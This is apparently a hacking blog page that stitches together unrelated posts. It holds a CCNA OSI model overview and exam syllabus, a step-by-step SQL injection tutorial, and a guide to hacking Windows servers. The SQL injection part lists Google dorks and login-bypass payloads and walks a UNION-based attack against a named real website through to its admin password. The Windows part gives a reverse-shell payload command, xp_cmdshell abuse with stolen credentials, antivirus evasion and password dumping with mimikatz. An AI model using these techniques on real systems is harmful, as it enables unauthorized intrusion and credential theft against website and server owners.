CCNA : OSI Model

OSI Reference Model

The OSI reference model is the primary model for network communications. The early development of LANs, MANs, and WANs was confused in many ways. The early 1980s saw great increases in the number and sizes of networks. As companies realized that they could save money and gain productivity by using networking technology, they added networks and expanded existing networks as rapidly as new network technologies and products were introduced.

In 1984, the International Organization for Standardization (ISO) developed the OSI Reference Model to describe how information is transferred from one networking component to another, from the point when a user enters information using a keyboard and mouse to when that information is converted to electrical or light signals transferred along a piece of wire (or radio waves transferred through the air).

ISO developed the seven-layer model to help vendors and network administrators gain a better understanding of how data is handled and transported between networking devices, as well as to provide a guideline for the implementation of new networking standards and technologies. To assist in this process, the OSI Reference Model separates the network communication process into seven simple layers.

Dividing the network into these seven layers provides these advantages:

Reduces complexity:

It breaks network communication into smaller, simpler parts. It divides the network communication process into smaller and simpler components, thus aiding component development, design, and troubleshooting.

Standardizes interfaces:

It standardizes network components to allow multiple vendor development and support.

Facilitates modular engineering:

It allows different types of network hardware and software to communicate with each other.

Interoperability between Vendors

It allows multiple-vendor development through standardization of network components. Defines the process for connecting two layers together, promoting interoperability between vendors It Allows vendors to compartmentalize their design efforts to fit a modular design, which eases implementations and simplifies troubleshooting

Ensures interoperable technology:

It prevents changes in one layer from affecting the other layers, allowing for quicker development.

Accelerates evolution:

It provides for effective updates and improvements to individual components without affecting other components or having to rewrite the entire protocol.

Simplifies teaching and learning:

It breaks network communication into smaller components to make learning easier. Provides a teaching tool to help network administrators understand the communication process used between networking components

 

The OSI Reference Model

• The OSI reference model consists of seven layers: physical, data-link, network, transport, session, presentation, and application.
• The OSI model layers usually do not correspond exactly to the protocol stack running on an actual system.
• The data-link layer protocols often include physical layer specifications.
• The network and transport layer protocols work together to provide a cumulative end-to-end communication service.
• The functions of the session, presentation, and application layers are often combined into a single application layer protocol.

SQL Injection Example Step By Step Guide

SQL Injection Example Step By Step  Guide
Warning - This Website is only for education purposes, By reading these articles you agree that HackingBytes is not responsible in any way for any kind of damage caused by the information provided in these articles.


Introduction:
Hello every one .
I am going to share with one of the best of my tutorials here .

Now Let's begin!!

Sql injection (aka Sql Injection or Structured Query Language Injection) is the first step in the entry to exploiting or hacking websites. It is easily done and it is a great starting off point. Unfortunately most sqli tutorials suck, so that is why I am writing this one. Sqli is just basically injecting queries into a database or using queries to get authorization bypass as an admin.

Things you should know :
Data is in the columns and the columns are in tables and the tables are in the database .
Just remember that so you understand the rest .

PART 1
Bypassing admin log in
Gaining auth bypass on an admin account.

Most sites vulnerable to this are .asp
First we need 2 find a site, start by opening google.
Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect"
There is a large number of google dork for basic sql injection.
here is the best:

Code:

"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"

Now what to do once we get to our site.
the site should look something like this :
ADMIN USERNAME :
PASSWORD :

so what we do here is in the username we always type "Admin"
and for our password we type our sql injection

here is a list of sql injections

Code:

' or '1'='1
' or 'x'='x
' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --
'or'1=1'

So your input should look like this

username:Admin
password:'or'1'='1
that will confuse the site and give you authorisation to enter as admin

If the site is vulnerable than you are in

PART 2
Finding Sites to Inject

Finding SQLI Vulnerable sits is extremely easy all you need to do is some googling. The first thing you need to do are find some dorks.
Download SQLI dorks list from here : http://zyan.me/UVkJP

PS:I didn't put them in the thread because i passed count limit...
Pick one of those dorks and add inurl: before it (If they do not already have it) and then copy and paste it into google. Pick one of the sites off google and go to it.
For example the url of the page you are on may look like this :

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10

To check that it is vulnerable all you have to do is add a '

So our link should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=10'

Press enter and you get some kind of error. The errors will vary...

Our page should look like that :

After you find your vulnerable site the first step you need to take is to find the number of columns. The easiest way to do this is writing "order by " column number and we add "--" after the number.
Our link should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 15--

If you get an error that means you should lower the number of columns .
Let's try 10.

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 10--

The page opened normally that means the number of columns is between 10 and 14.
We try now 11.

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 11--

The page opened normally too...
Let's try 12.

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 12--

We got error . That means the columns number is 11 because we got error on 12 and 11 opened normally .

Finding Accessible Columns
Now that we have the number of columns we need to get the column numbers that we can grab information from.
We can do that by adding a "-" before the "10" replacing the " order by # " with "union all select " and columns number
Our link should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,8,9,10,11--

We should get numbers .

Our page should look like that :]

For the end part of the url, (1,2,3,4,5,6,7,8,9,10,11) You put the number of columns you found in the first step. Since I found that the site I was testing had 11 columns, I put 1,2,3,4,5,6,7,8,9,10,11--
These numbers are the colum numbers we can get information from. We will replace them later with something else so write them down if you want.

Getting Database Version
We found that column 8 , 3 , 4 and 5 are vulnerable so we will use them to get the database version .
Why Do We Do That?
If database is under 5 that means we will have to guess the tables names
To do that we need to replace one of the vulnerable columns by "@@verion"
Let's take column 8.
Our link should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,@@version,9,10,11--

The page should look like that :]

In our case we got "5.0.77" its >5 so we can continue.

Now we need to get the table name we want to access :
To do it we need to replace "@@version" with "table_name" and add after the last columns number "from information_schema.tables" and add the "--" in the end .
Link should be like that:

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,table_name,9,10,11 from information_schema.tables--

Page should look like that :]

Now we will search the table we want to access .
We should fine something with admin on it and in our case it's tbladmin

Now we need to get the ASCII value of "tbladmin".
What is ASCII?
http://en.wikipedia.org/wiki/ASCII_value
Now to get the ASCII value of "tbladmin" go to that site : http://getyourwebsitehere.com/jswb/text_to_ascii.html

Now enter in first box the table name wich is "tbladmin" in our case and click convert to ASCII.
You will get as value that :

Code:

tbladmin

Now remove the characters as & # ; and we add a comma "," between each number .
It should be like that:

Code:

116,98,108,97,100,109,105,110

Now we replace in the URL the "table_name" to "column_name" and change "information_schema.tables" to "information_schema.columns and add "where table_name=char(ASCII value)--
in our case at place of (ASCII value) we put (116,98,108,97,100,109,105,110)--
Our URL should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,column_name,9,10,11 from information_schema.columns where table_name=char(116,98,108,97,100,109,105,110)--

Our page should be like that:

Now we search for the columns named "username" and "password" or something like that .
In our case it is "username" and "password".
Now we can delete most of the URL .
Remove everything after the 11 and add : "from tbladmin" And replace "column_name" with "concat(username,0x3a,password)
0x3a is the ASCII value of a : so we can separate the username from the password.
Our URL should look like that:

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11 from tbladmin

And you're done the username is ishir and password ishir123
Some times password is encrypted with Hashes .
Use  HASH detector to know what it is and decrypt online.

How to hack Windows Servers

Hacking Windows Servers  

By:Rafay

Most of us here can hack websites and servers. But what we hate the most is an error message- Access Denied! We know some methods to bypass certain restrictions using the symlink, privilege-escalation using local root exploits and some similar attacks.

But, these get the job done only on Linux servers. What about windows servers?

Here are some ways to bypass certain restrictions on windows servers or getting SYSTEM privileges.

• Using "sa" account to execute commands by MSSQL query via 'xp_cmdshell' stored procedure.
• Using meterpreter payload to get a reverse shell over the target machine.
• Using browser_autopwn. (Really...)
• Using other tools like pwdump7, mimikatz, etc.

Using the tools is an easy way, but the real fun of hacking lies in the first three methods I mentioned above.

1. Using xp_cmdshell-

Most of the times on windows servers, we have read permission over the files of other IIS users, which is needed to make this method work.

If we are lucky enough, we will find login credentials of "sa" account of MSSQL server inside web.config file of any website.

You must be wondering why only "sa"?

Here, "sa" stands for Super Administrator and as the name tells, this user has all possible permissions over the server.

The picture below shows the connection string containing login credentials of "sa" account.

Using this, we can log into MSSQL server locally (using our web backdoor) & as well as remotely. I would recommend remote access because it does not generate webserver logs which would fill the log file with our web backdoor path.

So, after getting the "sa" account, we can login remotely using HeidiSQL

HeidiSQL is an awesome tool to connect to remote database servers. You can download it here.

After logging into MSSQL server with sa account, we get a list of databases and their contents.

Now we can execute commands using MSSQL queries via xp_cmdshell. (With administrator privileges)

Syntax for the query is-

xp_cmdshell '[command]'

For example, if I need to know my current privileges, I would query-

xp_cmdshell 'whoami'

This shows that I am currently NT Authority/System, which most of us know is the highest user in the windows user hierarchy.

Now we can go for some post exploitation like enabling RDP, adding accounts and allowing them to access RDP.

Note: If the server does not have xp_cmdshell stored procedure, you can install it yourself. There are many tutorials for that online.

  

2. Meterpreter Payload-

This method is quite easy and comes useful when we cannot read files of other users, but we can execute commands.

Using metasploit, generate a reverse shell payload binary.

For example-

msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe

Now we will upload this executable to the server using our web backdoor.

Run multi/handler auxiliary at our end. (Make sure the ports are forwarded properly)

Now it's time to execute the payload.

If everything goes right, we will get a meterpreter session over the target machine as shown below-

We can also use php, asp or other payloads.

3. Browser Autopwn-

This seems odd, as a way of hacking a server. But I myself found this as a clever way to do the job, especially in scenarios where we are allowed to execute commands, but we cannot run executables (our payloads) due to software restriction policies in domain environment.

Most of the windows servers have outdated Internet Explorer and we can exploit them if we can execute commands.

I think it is clear by now that what I'm trying to explain ;)

We can start Internet Explorer from command line and make it browse to a specific URL.

Syntax for  this-

iexplore.exe [URL]

Where URL would our server address which would be running browser_autopwn. After that we can use railgun to avoid antivirus detection.

4. Using readily available tools-

Tools like pwdump and mimikatz can crack passwords of windows users.

#pwdump7 gives out the NTLM hashes of the users which can be cracked further using John the Ripper.

The following screenshot shows NTLM hashes from pwdump7:

#mimikatz is another great tool which extracts the plain text passwords of users from lsass.exe. The tool is some language other than English so do watch tutorials on how to use it.

Following picture shows plain text passwords from mimikatz:

You can google about them and learn how to use these tools and what actually they exploit to get the job done for you.

CCNA : Exam Information

CCNA Training series

Exam Information 

640 – 802 CCNA New Exam Syllabus

640-802 CCNA® EXAM

You can achieve CCNA certification in two ways:

• Pass the CCNA-640-802 exam.
• Pass both the ICNDv1 (640-822) and ICNDv2 (640-816) exams.

·         The CCNA 640-802 exam includes the same topics covered by the ICNDv1 640-822 and ICNDv2 640-816 exams. Cisco developed the second approach particularly for individuals who are just beginning their journey into networking, especially for people taking the CCNA curriculum at a Cisco Network Academy. The two-test approach is better suited for this environment since it takes a year to two to go through Cisco’s CCNA curriculum at the Network Academies. With this approach, you take the ICNDv1 640-822 exam halfway through the curriculum and the ICNDv2 640-816 exam at the end of the curriculum.

·         Another advantage of taking and passing the ICNDv1 exam is that you have achieved Cisco’s newest entry-level certification: CCENT (Cisco Certified Entry Networking Technician). In August 2007, Cisco introduced this certification based on customer and employer demand for a lower level certification demonstrating basic networking and hand-on skills with IOS devices such as routers and switches. If you already have networking experience, especially if that experience includes configuring Cisco devices, you are better off taking the single CCNA 640-802 exam. The main advantage of this approach is that you have to pay for only one exam.

·         This CCNA Free Study Guides series are primarily written for those individuals wishing to pass the CCNA 640-802 exam. However, this free series contains all the information that you would need to pass both the ICNDv1 640-822 and ICNDv2 640-816 exams. Therefore, it is up to you to determine which testing approach you take to achieve your CCNA certification.

Company	Cisco System
Exam Number	640-802
Associated Certifications	CCNA
Duration	90 minutes (45-55 questions)
Available Languages	English, Japanese, Chinese, Spanish, Russian, Korean, French, Portuguese
Authorize Exam Organizer	Pearson VUE
Prerequisites	None ( Basic Networking Knowledge recommended)
Substitute Exam	640-822 ICND1- Interconnecting Cisco Networking Devices Part 1 640-816 ICND2-Interconnecting Cisco Networking Devices Part 2
Validity period	Three years
Recertification	To recertify, pass the ICND2 exam, or pass the current CCNA exam, or pass a CCNA Concentration exam (wireless, security, voice), or pass the current CCDA exam, or pass any 642 - XXX professional level or Cisco Specialist exam (excluding Sales Specialist exams), or pass a current CCIE or CCDE written exam.

Exam Topics

The following topics are general guidelines for the content likely to be included on the Cisco Certified Network Associate exam. However, other related topics may also appear on any specific delivery of the exam. In order to better reflect the contents of the exam and for clarity purposes, the guidelines below may change at any time without notice.

Describe how a network works

• Describe the purpose and functions of various network devices
• Select the components required to meet a network specification
• Use the OSI and TCP/IP models and their associated protocols to explain how data flows in a network
• Describe common networked applications including web applications
• Describe the purpose and basic operation of the protocols in the OSI and TCP models
• Describe the impact of applications (Voice Over IP and Video Over IP) on a network
• Interpret network diagrams
• Determine the path between two hosts across a network
• Describe the components required for network and Internet communications
• Identify and correct common network problems at layers 1, 2, 3 and 7 using a layered model approach
• Differentiate between LAN/WAN operation and features

Configure, verify and troubleshoot a switch with VLANs and interswitch communications

• Select the appropriate media, cables, ports, and connectors to connect switches to other network devices and hosts
• Explain the technology and media access control method for Ethernet networks
• Explain network segmentation and basic traffic management concepts
• Explain basic switching concepts and the operation of Cisco switches
• Perform and verify initial switch configuration tasks including remote access management
• Verify network status and switch operation using basic utilities (including: ping, traceroute, telnet, SSH, arp, ipconfig), SHOW & DEBUG commands
• Identify, prescribe, and resolve common switched network media issues, configuration issues, auto negotiation, and switch hardware failures
• Describe enhanced switching technologies (including: VTP, RSTP, VLAN, PVSTP, 802.1q)
• Describe how VLANs create logically separate networks and the need for routing between them
• Configure, verify, and troubleshoot VLANs
• Configure, verify, and troubleshoot trunking on Cisco switches
• Configure, verify, and troubleshoot interVLAN routing
• Configure, verify, and troubleshoot VTP
• Configure, verify, and troubleshoot RSTP operation
• Interpret the output of various show and debug commands to verify the operational status of a Cisco switched network.
• Implement basic switch security (including: port security, trunk access, management vlan other than vlan1, etc.)

Implement an IP addressing scheme and IP Services to meet network requirements in a medium-size Enterprise branch office network

• Describe the operation and benefits of using private and public IP addressing
• Explain the operation and benefits of using DHCP and DNS
• Configure, verify and troubleshoot DHCP and DNS operation on a router.(including: CLI/SDM)
• Implement static and dynamic addressing services for hosts in a LAN environment
• Calculate and apply an addressing scheme including VLSM IP addressing design to a network
• Determine the appropriate classless addressing scheme using VLSM and summarization to satisfy addressing requirements in a LAN/WAN environment
• Describe the technological requirements for running IPv6 in conjunction with IPv4 (including: protocols, dual stack, tunneling, etc).
• Describe IPv6 addresses
• Identify and correct common problems associated with IP addressing and host configurations

Configure, verify, and troubleshoot basic router operation and routing on Cisco devices

• Describe basic routing concepts (including: packet forwarding, router lookup process)
• Describe the operation of Cisco routers (including: router bootup process, POST, router components)
• Select the appropriate media, cables, ports, and connectors to connect routers to other network devices and hosts
• Configure, verify, and troubleshoot RIPv2
• Access and utilize the router to set basic parameters.(including: CLI/SDM)
• Connect, configure, and verify operation status of a device interface
• Verify device configuration and network connectivity using ping, traceroute, telnet, SSH or other utilities
• Perform and verify routing configuration tasks for a static or default route given specific routing requirements
• Manage IOS configuration files. (including: save, edit, upgrade, restore)
• Manage Cisco IOS
• Compare and contrast methods of routing and routing protocols
• Configure, verify, and troubleshoot OSPF
• Configure, verify, and troubleshoot EIGRP
• Verify network connectivity (including: using ping, traceroute, and telnet or SSH)
• Troubleshoot routing issues
• Verify router hardware and software operation using SHOW & DEBUG commands.
• Implement basic router security

Explain and select the appropriate administrative tasks required for a WLAN

• Describe standards associated with wireless media (including: IEEE WI-FI Alliance, ITU/FCC)
• Identify and describe the purpose of the components in a small wireless network. (Including: SSID, BSS, ESS)
• Identify the basic parameters to configure on a wireless network to ensure that devices connect to the correct access point
• Compare and contrast wireless security features and capabilities of WPA security (including: open, WEP, WPA-1/2)
• Identify common issues with implementing wireless networks. (Including: Interface, missconfiguration)

Identify security threats to a network and describe general methods to mitigate those threats

• Describe today's increasing network security threats and explain the need to implement a comprehensive security policy to mitigate the threats
• Explain general methods to mitigate common security threats to network devices, hosts, and applications
• Describe the functions of common security appliances and applications
• Describe security recommended practices including initial steps to secure network devices

Implement, verify, and troubleshoot NAT and ACLs in a medium-size Enterprise branch office network

• Describe the purpose and types of ACLs
• Configure and apply ACLs based on network filtering requirements.(including: CLI/SDM)
• Configure and apply an ACLs to limit telnet and SSH access to the router using (including: SDM/CLI)
• Verify and monitor ACLs in a network environment
• Troubleshoot ACL issues
• Explain the basic operation of NAT
• Configure NAT for given network requirements using (including: CLI/SDM)
• Troubleshoot NAT issues

Implement and verify WAN links

• Describe different methods for connecting to a WAN
• Configure and verify a basic WAN serial connection
• Configure and verify Frame Relay on Cisco routers
• Troubleshoot WAN implementation issues
• Describe VPN technology (including: importance, benefits, role, impact, components)
• Configure and verify a PPP connection between Cisco routers

Cisco system could change this syllabus without any notification. We suggest you to review Cisco’s official site before taking exam.